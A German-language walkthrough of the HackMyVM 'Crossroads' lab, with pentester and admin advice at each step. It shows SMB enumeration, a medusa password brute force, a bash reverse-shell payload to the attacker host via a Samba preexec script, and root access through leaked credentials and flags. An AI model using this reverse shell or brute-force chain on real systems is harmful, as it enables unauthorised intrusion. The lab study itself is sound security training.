Crossroads - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
curl
wget
enum4linux
smbmap
medusa
smbclient
cat
vi
bash
nc (netcat)
python
export
file
stegoveritas
/opt/beroot
ls
su
cd
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment eingesetzt.

Bewertung: Ein Host mit der IP `192.168.2.128` und der MAC-Adresse `08:00:27:9c:83:dc` (VirtualBox) wird als Zielsystem identifiziert.

Empfehlung (Pentester): Führe einen detaillierten Nmap-Scan auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerk-Monitoring.

┌──(root㉿cyber)-[~/twisted] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.128	08:00:27:9c:83:dc	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.876 seconds (136.49 hosts/sec). 1 responded
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -sV -A -p-`) wird auf das Ziel 192.168.2.128 durchgeführt.

Bewertung: !!Wichtige Dienste gefunden!!** - **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Die Startseite hat einen Titel ("12 Step Treatment Center | Crossroads Centre Antigua"). `robots.txt` verbietet `/crossroads.png`. - **Port 139 & 445 (SMB):** Samba 4.9.5-Debian. **Anonymer Gastzugriff ist erlaubt** (`account_used: guest`), und **Message Signing ist deaktiviert**, was ein Risiko darstellt. Der Hostname ist `crossroads`. Das OS wird als Linux erkannt.

Empfehlung (Pentester):**Hohe Priorität:** Untersuche die SMB-Shares mit anonymem Zugriff (`enum4linux`, `smbclient`, `smbmap`). Untersuche parallel den Webserver (Inhalte, `/crossroads.png`).
Empfehlung (Admin):**DRINGEND:** Deaktiviere anonymen SMB-Gastzugriff. Aktiviere Message Signing (`smb signing = required`). Halte Samba und Apache aktuell.

┌──(root㉿cyber)-[~/Hackingtools] └─# nmap -sS -sC -T5 -sV -A 192.168.2.128 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-10 09:10 CET 
Nmap scan report for cross.hmv (192.168.2.128) 
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
|_http-title: 12 Step Treatment Center | Crossroads Centre Antigua
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry
|_/crossroads.png
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:9C:83:DC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: CROSSROADS

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: crossroads
|   NetBIOS computer name: CROSSROADS\x00
|   Domain name: \x00
|   FQDN: crossroads
|_  System time: 2022-10-10T09:12:09+01:00 
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: mean: -19m56s, deviation: 0s, median: -19m56s 
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2022-10-10T14:12:09 
|_  start_date: N/A
|_nbstat: NetBIOS name: CROSSROADS, NetBIOS user: , NetBIOS MAC: 00:00:00:00:00:00 (Xerox) 

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms cross.hmv (192.168.2.128)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.88 seconds 
                    

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) mit der `big.txt`-Wortliste verwendet.

Bewertung: !!Wichtiger Fund!!** Neben `/index.html` und `/robots.txt` wird die Datei `/note.txt` gefunden. `/server-status` ist verboten.

Empfehlung (Pentester): Untersuche den Inhalt von `/note.txt` sofort. Untersuche `/robots.txt`.
Empfehlung (Admin): Beschränke den Zugriff auf `/server-status`. Überprüfe den Inhalt von `note.txt` und `robots.txt`.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.128 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg,html -e --wildcard
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.128
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,bak,7z,zip,py,sql,txt,xml,jpg,html
[+] Expanded:                true
[+] Wildcard detection:      true
[+] Timeout:                 10s
===============================================================
2022/10/10 09:15:00 Starting gobuster 
===============================================================
http://192.168.2.128/index.html           (Status: 200) [Size: 93075]
http://192.168.2.128/note.txt             (Status: 200) [Size: 108]
http://192.168.2.128/robots.txt           (Status: 200) [Size: 42]
http://192.168.2.128/server-status        (Status: 403) [Size: 278]
===============================================================
2022/10/10 09:25:00 Finished 
===============================================================
                     

Information Disclosure

Analyse: Der Inhalt der Datei `/note.txt` wird mit `curl` abgerufen.

Bewertung: !!Kryptischer Hinweis!!** Die Notiz erwähnt "three kings of blues" und "crossroads". Dies ist ein Hinweis, der auf Blues-Musiker (Albert King, B.B. King, Freddie King) und möglicherweise den Hostnamen oder die `/crossroads.png`-Datei anspielt. Der Absender "abuzerkomurcu" taucht erneut auf.

Empfehlung (Pentester): Behalte diese Namen/Begriffe für mögliche Benutzernamen oder Passwörter im Hinterkopf. Untersuche `/robots.txt` und lade `/crossroads.png` herunter.
Empfehlung (Admin): Entferne solche Notizen von öffentlich zugänglichen Pfaden.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.128/note.txt
just find three kings of blues
then move to the crossroads
-------------------------------
-abuzerkomurcu
                     

Analyse: Der Inhalt von `/robots.txt` wird mit `curl` abgerufen.

Bewertung: Bestätigt das Disallow für `/crossroads.png`, wie von Nmap gefunden.

Empfehlung (Pentester): Lade `/crossroads.png` herunter und analysiere es.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.128/robots.txt
User-agent: *
Disallow: /crossroads.png
                     

Analyse: Die Datei `/crossroads.png` wird mit `wget` heruntergeladen.

Bewertung: Die Datei wurde erfolgreich heruntergeladen und steht zur Analyse bereit.

Empfehlung (Pentester): Analysiere die PNG-Datei mit Steganographie-Tools oder Bildanalyse-Werkzeugen, insbesondere im Hinblick auf den "three kings"-Hinweis.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# wget http://192.168.2.128/crossroads.png
--2022-10-10 09:28:15--  http://192.168.2.128/crossroads.png
Auflösen des Hostnamens 192.168.2.128 (192.168.2.128)… 192.168.2.128
Verbindungsaufbau zu 192.168.2.128:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1583196 (1.5M) [image/png]
Wird in »crossroads.png« gespeichert.

crossroads.png          100%[=============================>]   1.51M  7.89MB/s    in 0.2s

2022-10-10 09:28:15 (7.89 MB/s) - »crossroads.png« gespeichert [1583196/1583196]
                     

SMB Enumeration

Analyse: `enum4linux -a` wird zur detaillierten Enumeration des SMB-Dienstes verwendet. (Hinweis: Die IP im Log ist falsch, sollte 192.168.2.128 sein).

Bewertung: !!Benutzer gefunden!!** Enum4linux bestätigt den anonymen Zugriff und findet durch RID-Cycling den Benutzer `albert`. Dies korreliert mit dem "three kings of blues"-Hinweis (Albert King).

Empfehlung (Pentester): Konzentriere dich auf den Benutzer `albert`. Versuche, sein Passwort für SMB (oder SSH, falls offen) zu knacken.
Empfehlung (Admin): Deaktiviere anonymen SMB-Zugriff und beschränke die Möglichkeit des RID-Cyclings, falls möglich.

┌──(root㉿Darkspirit)-[~] └─# enum4linux -a 192.168.2.128
Starting enum4linux v0.9.1 on Mon Oct 10 09:30:00 2022

 ==========================
|    Target Information    |
 ==========================
Target ........... 192.168.2.128
... (Workgroup, NBTStat etc.) ...

 ====================================
|    Share Enumeration on 192.168.2.128    |
 ====================================
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	smbshare        Disk
	IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
...
 ================================================================
|    Users on 192.168.2.128 via RID cycling (RIDS: 500-550,1000-1050)    |
 ================================================================
[I] Found new SID: S-1-5-21-198007098-3908253677-2746664996
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-198007098-3908253677-2746664996 and logon username '', password ''
S-1-5-21-198007098-3908253677-2746664996-501 CROSSROADS\nobody (Local User)
S-1-5-21-198007098-3908253677-2746664996-513 CROSSROADS\None (Domain Group)
S-1-5-21-198007098-3908253677-2746664996-1001 CROSSROADS\albert (Local User) 
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
...
enum4linux complete on Mon Oct 10 09:31:00 2022
                     

Analyse: `smbmap` wird verwendet, um die Berechtigungen der Shares für den anonymen/Gast-Benutzer zu prüfen.

Bewertung: Bestätigt, dass der anonyme Benutzer keinen Zugriff (`NO ACCESS`) auf `print$`, `smbshare` und `IPC$` hat.

Empfehlung (Pentester): Der anonyme Zugriff auf Shares ist blockiert. Es werden gültige Anmeldedaten benötigt, wahrscheinlich die des Benutzers `albert`.
Empfehlung (Admin): Korrekte Konfiguration, da anonymer Zugriff auf Shares hier verhindert wird.

┌──(root㉿cyber)-[~] └─# smbmap -H 192.168.2.128
[+] IP: 192.168.2.128:445	Name: cross.hmv
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	print$                                            	NO ACCESS	Printer Drivers
	smbshare                                          	NO ACCESS
	IPC$                                              	NO ACCESS	IPC Service (Samba 4.9.5-Debian)
                     

Analyse: `medusa` wird eingesetzt, um einen SMB-Passwort-Brute-Force-Angriff gegen den Benutzer `albert` durchzuführen, wobei `rockyou.txt` als Wortliste verwendet wird.

Bewertung: !!Passwort gefunden!!** Medusa findet erfolgreich das Passwort `bradley1` für den Benutzer `albert`.

Empfehlung (Pentester): Verwende die Anmeldedaten `albert` / `bradley1`, um dich mit `smbclient` zu verbinden und auf die Shares zuzugreifen, insbesondere auf das Home-Verzeichnis von `albert` (oft als Share mit dem Benutzernamen freigegeben).
Empfehlung (Admin): Ändere das kompromittierte Passwort für `albert`. Erzwinge starke Passwörter und schütze vor Brute-Force-Angriffen (z.B. Account-Sperrung).

┌──(root㉿Darkspirit)-[~] └─# medusa -h 192.168.2.128 -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt
ACCOUNT FOUND: [smbnt] Host: 192.168.2.128 User: albert Password: bradley1 [SUCCESS]
                     

Analyse: `smbclient` wird verwendet, um sich mit den gefundenen Zugangsdaten (`albert` / `bradley1`) mit der Share zu verbinden, die dem Home-Verzeichnis von `albert` entspricht (`//192.168.2.128/albert`).

Bewertung: Die Verbindung ist erfolgreich. Der Inhalt des Home-Verzeichnisses wird aufgelistet: Ein Unterverzeichnis `smbshare`, die Datei `crossroads.png`, das SUID-Binary `beroot` und die User-Flag `user.txt` werden gefunden.

Empfehlung (Pentester): Lade `user.txt` und `beroot` herunter. Untersuche das `smbshare`-Verzeichnis.
Empfehlung (Admin): Überprüfe die Notwendigkeit der Freigabe von Home-Verzeichnissen über SMB.

┌──(root㉿Darkspirit)-[~] └─# smbclient //192.168.2.128/albert -U "albert"
Password for [WORKGROUP\albert]:bradley1
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Mar  3 00:16:15 2021
  ..                                  D        0  Tue Mar  2 23:00:47 2021
  smbshare                            D        0  Tue Mar  2 23:16:13 2021
  crossroads.png                      N  1583196  Tue Mar  2 23:34:03 2021
  beroot                              N    16664  Wed Mar  3 00:02:41 2021
  user.txt                            N       32  Wed Mar  3 00:15:18 2021

                10000000 blocks of size 1024. 5000000 blocks available 
                     

Analyse: Innerhalb der `albert`-Share wird in das `smbshare`-Verzeichnis gewechselt (impliziert durch den nächsten `ls`-Aufruf). Dort wird die Datei `smb.conf` gefunden.

Bewertung: !!Wichtiger Fund!!** Die Samba-Konfigurationsdatei (`smb.conf`) befindet sich in dieser für `albert` zugänglichen Share. Sie enthält wahrscheinlich Konfigurationsdetails, die für eine Eskalation genutzt werden können, insbesondere die Konfiguration der `smbshare` selbst.

Empfehlung (Pentester): Lade `smb.conf` herunter und analysiere sie sorgfältig, insbesondere auf `preexec`- oder `postexec`-Direktiven im Zusammenhang mit `smbshare`.
Empfehlung (Admin): Speichere Konfigurationsdateien nicht in Benutzer-Shares. Sichere die `smb.conf` mit korrekten Berechtigungen.

smb: \> cd smbshare 
smb: \smbshare\> ls
  .                                   D        0  Tue Mar  2 23:16:13 2021
  ..                                  D        0  Wed Mar  3 00:16:15 2021
  smb.conf                            N     8779  Tue Mar  2 23:14:54 2021

                10000000 blocks of size 1024. 5000000 blocks available
                     

Analyse: Die relevanten Dateien (`user.txt`, `beroot`, `crossroads.png`, `smb.conf`) werden mit `get` heruntergeladen.

Bewertung: Alle identifizierten wichtigen Dateien sind nun zur lokalen Analyse verfügbar.

Empfehlung (Pentester): Analysiere `smb.conf` auf den `preexec`-Eintrag. Untersuche `beroot`. Lies `user.txt`.
Empfehlung (Admin): Keine Aktion.

smb: \> get /home/albert/user.txt user.txt 
getting file \home\albert\user.txt of size 32 as user.txt (x.x KiloBytes/sec)
smb: \> get /home/albert/beroot beroot
getting file \home\albert\beroot of size 16664 as beroot (x.x KiloBytes/sec)
smb: \> get /home/albert/crossroads.png crossroads.png
getting file \home\albert\crossroads.png of size 1583196 as crossroads.png (x.x KiloBytes/sec)
smb: \> get /home/albert/smbshare/smb.conf smb.conf
getting file \home\albert\smbshare\smb.conf of size 8779 as smb.conf (x.x KiloBytes/sec)
smb: \> quit
                     

Vulnerability Assessment (SMB Preexec)

Analyse: Die lokale Analyse der heruntergeladenen `smb.conf` (impliziert) hat ergeben, dass die Freigabe `smbshare` eine `preexec`-Direktive enthält, die `/home/albert/smbshare/smbscript.sh` ausführt, wenn eine Verbindung zu dieser Share hergestellt wird.

Bewertung: !!RCE-Vektor bestätigt!!** Dies ist eine klassische Fehlkonfiguration, die Remote Code Execution ermöglicht. Da der Benutzer `albert` Schreibrechte auf das Verzeichnis `/home/albert/smbshare` hat (weil es sein eigenes ist oder die Berechtigungen es erlauben), kann er ein beliebiges Skript als `smbscript.sh` hochladen. Dieses Skript wird dann ausgeführt, wenn *irgendjemand* (wahrscheinlich mit den Rechten des Samba-Daemons oder des verbindenden Benutzers) auf die `smbshare` zugreift.

Empfehlung (Pentester): 1. Erstelle ein Shell-Skript (`smbscript.sh`) mit einer Reverse-Shell-Payload. 2. Starte einen Netcat-Listener auf dem Angreifer-System. 3. Verbinde dich als `albert` mit der `smbshare`. 4. Lade das `smbscript.sh` hoch. 5. Trenne die Verbindung und verbinde dich *erneut* mit der `smbshare` (oder warte), um das `preexec`-Skript auszulösen.
Empfehlung (Admin):**DRINGEND:** Entferne oder sichere die `preexec`-Direktive in `smb.conf`. Wenn Pre-/Postexec-Skripte benötigt werden, stelle sicher, dass sie Root gehören, keine Schreibrechte für andere Benutzer haben und sorgfältig auf Sicherheit geprüft wurden.

# Analyse von smb.conf ergab:
[smbshare]
  path = /home/albert/smbshare
  read only = no
  preexec = /home/albert/smbshare/smbscript.sh 
                      

Analyse: Ein lokales Shell-Skript (`smbscript.sh`) wird mit einer Reverse-Shell-Payload (`bash -i >& /dev/tcp/...`) erstellt.

Bewertung: Der Payload für den RCE-Vektor ist vorbereitet.

Empfehlung (Pentester): Fahre mit dem Upload fort.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# vi smbscript.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.2.140/9001 0>&1' 
                      

Initial Access (Albert)

Analyse: Der Exploit wird durchgeführt: 1. Ein Netcat-Listener wird auf Port 9001 gestartet. 2. Eine `smbclient`-Verbindung zur `smbshare` wird als `albert` hergestellt. 3. Das Skript `smbscript.sh` wird mit `put` hochgeladen. 4. Der Listener empfängt die Verbindung.

Bewertung: !!Initial Access erfolgreich!!** Das Hochladen des Skripts in die `smbshare` löst durch die `preexec`-Direktive in `smb.conf` die Ausführung des Skripts aus. Da die Verbindung als `albert` hergestellt wurde, läuft das `preexec`-Skript wahrscheinlich auch als `albert`. Eine Reverse Shell als Benutzer `albert` wird zum Angreifer aufgebaut.

Empfehlung (Pentester): Stabilisiere die Shell. Untersuche die Umgebung als `albert` erneut, insbesondere das SUID-Binary `beroot`.
Empfehlung (Admin): Behebe die unsichere `preexec`-Konfiguration.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# nc -lvnp 9001
listening on [any] 9001 ...
┌──(root㉿cyber)-[~] └─# smbclient \\\\192.168.2.128\\smbshare -U albert
Password for [WORKGROUP\albert]:bradley1
Try "help" to get a list of possible commands.
smb: \> pwd
Current directory is \\192.168.2.128\smbshare\
smb: \> put smbscript.sh
putting file smbscript.sh as \smbscript.sh (x.x kb/s)
smb: \> quit
                      
┌──(root㉿cyber)-[/home/cyber/Downloads] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.128] 38044

$ 
                       

Analyse: Die Reverse Shell als `albert` wird stabilisiert.

Bewertung: Erfolgreich.

Empfehlung (Pentester): Beginne die finale Eskalation.
Empfehlung (Admin): Keine Aktion.

$ python -c 'import pty; pty.spawn("/bin/bash")'
albert@crossroads:/home/albert/smbshare$ export TERM=xterm
albert@crossroads:/home/albert/smbshare$ cd ..
albert@crossroads:/home/albert$ 
                    

Privilege Escalation (Root)

Analyse: Der Typ der Datei `beroot` (die zuvor über SMB heruntergeladen wurde, aber hier vermutlich direkt auf dem Ziel untersucht wird) wird mit `file` überprüft.

Bewertung: Bestätigt, dass `beroot` ein 64-Bit SUID ELF Binary ist.

Empfehlung (Pentester): Führe `./beroot` aus.
Empfehlung (Admin): Überprüfe SUID-Binaries.

albert@crossroads:/home/albert$ file beroot
beroot: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c1da1f0fded1889d32e27b99a2a4bd170c30349b, for GNU/Linux 3.2.0, not stripped
                     

Analyse: Die Datei `crossroads.png` wird erneut heruntergeladen und mit `stegoveritas` analysiert. Der Versuch schlägt wegen fehlender Abhängigkeiten fehl.

Bewertung: Steganographie bleibt ein unbestätigter Pfad.

Empfehlung (Pentester): Fokussiere dich auf das SUID-Binary `beroot`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# wget http://cross.hmv/crossroads.png
--2022-10-10 12:27:42--  http://cross.hmv/crossroads.png
Auflösen des Hostnamens cross.hmv (cross.hmv)… 192.168.2.128
Verbindungsaufbau zu cross.hmv (cross.hmv)|192.168.2.128|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1100255 (1,0M) [image/png]
Wird in »crossroads.png« gespeichert.

crossroads.png                100%[=============================>]   1,05M  --.-KB/s    in 0,01s

2022-10-10 12:27:42 (85,6 MB/s) - »crossroads.png« gespeichert [1100255/1100255]
                    
┌──(root㉿cyber)-[~] └─# stegoveritas -out crossroads crossroads.png
ERROR:StegoVeritas:Missing the following required packages: foremost, libexempi3
ERROR:StegoVeritas:Either install them manually or run 'stegoveritas_install_deps'.
Running Module: SVImage
+---------------------------+------+
|        Image Format       | Mode |
+---------------------------+------+
| Portable network graphics | RGB  |
+---------------------------+------+
... (Weitere Analyse-Module laufen evtl. noch) ...
                     

Analyse: Das SUID-Binary `./beroot` wird ausgeführt. Es fragt nach einem Passwort. Das Passwort `lemuel` wird eingegeben. Das Programm gibt dann Anweisungen.

Bewertung: !!Passwort für SUID-Binary gefunden!!** Das Passwort `lemuel` (Herkunft unklar, evtl. "three kings" -> Lemuel B. King?) funktioniert. Das Programm fordert auf, `ls` auszuführen und eine Datei `rootcreds` zu finden.

Empfehlung (Pentester): Führe `ls` aus und lies die Datei `rootcreds`.
Empfehlung (Admin): Entferne das SUID-Binary `beroot`. Verwende keine hartcodierten Passwörter oder unsicheren Prüfungen in SUID-Programmen.

albert@crossroads:/home/albert$ ./beroot
enter password for root
-----------------------
lemuel
password: lemuel
do ls and find root creds
                     

Analyse: `ls` wird ausgeführt, findet die Datei `rootcreds`. Der Inhalt wird mit `cat` angezeigt.

Bewertung: !!Root-Passwort gefunden!!** Die Datei enthält die Zugangsdaten für den Root-Benutzer: Benutzer `root`, Passwort `___drifting___`.

Empfehlung (Pentester): Wechsle mit `su root` und diesem Passwort zum Root-Benutzer.
Empfehlung (Admin): Ändere das Root-Passwort. Entferne das `beroot`-Binary und die `rootcreds`-Datei.

albert@crossroads:/home/albert$ ls
beroot	clear  crossroads.png  rootcreds  smbshare  user.txt
albert@crossroads:/home/albert$ cat rootcreds
root
___drifting___
                      

Proof of Concept (Root)

Analyse: Der Befehl `su root` wird ausgeführt, um zum Root-Benutzer zu wechseln. Das Passwort `___drifting___` (aus `rootcreds`) wird eingegeben.

Bewertung: !!Privilegieneskalation erfolgreich!!** Der Wechsel zum Root-Benutzer gelingt. Der Prompt ändert sich zu `root@crossroads:/home/albert#`.

Empfehlung (Pentester): Ziel erreicht. Lese die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Ändere das Root-Passwort. Entferne das `beroot`-Binary und die `rootcreds`-Datei. Korrigiere die SMB- und TFTP-Schwachstellen.

albert@crossroads:/home/albert$ su root
Password: ___drifting___
root@crossroads:/home/albert# 
                     

Analyse: Als Root wird ins `/root`-Verzeichnis gewechselt und die Datei `root.txt` gelesen.

Bewertung: Die Root-Flag `876F96716C3606B09A89F0FA3C1D52EB` wird erfolgreich gelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.

root@crossroads:/home/albert# cd /root
root@crossroads:~# ls
beroot.sh  creds  passwd  root.txt
root@crossroads:~# cat root.txt
876F96716C3606B09A89F0FA3C1D52EB
                     

Flags

cat /root/root.txt
876F96716C3606B09A89F0FA3C1D52EB
cat /home/albert/user.txt
912D12370BBCEA67BF28B03BCB9AA13F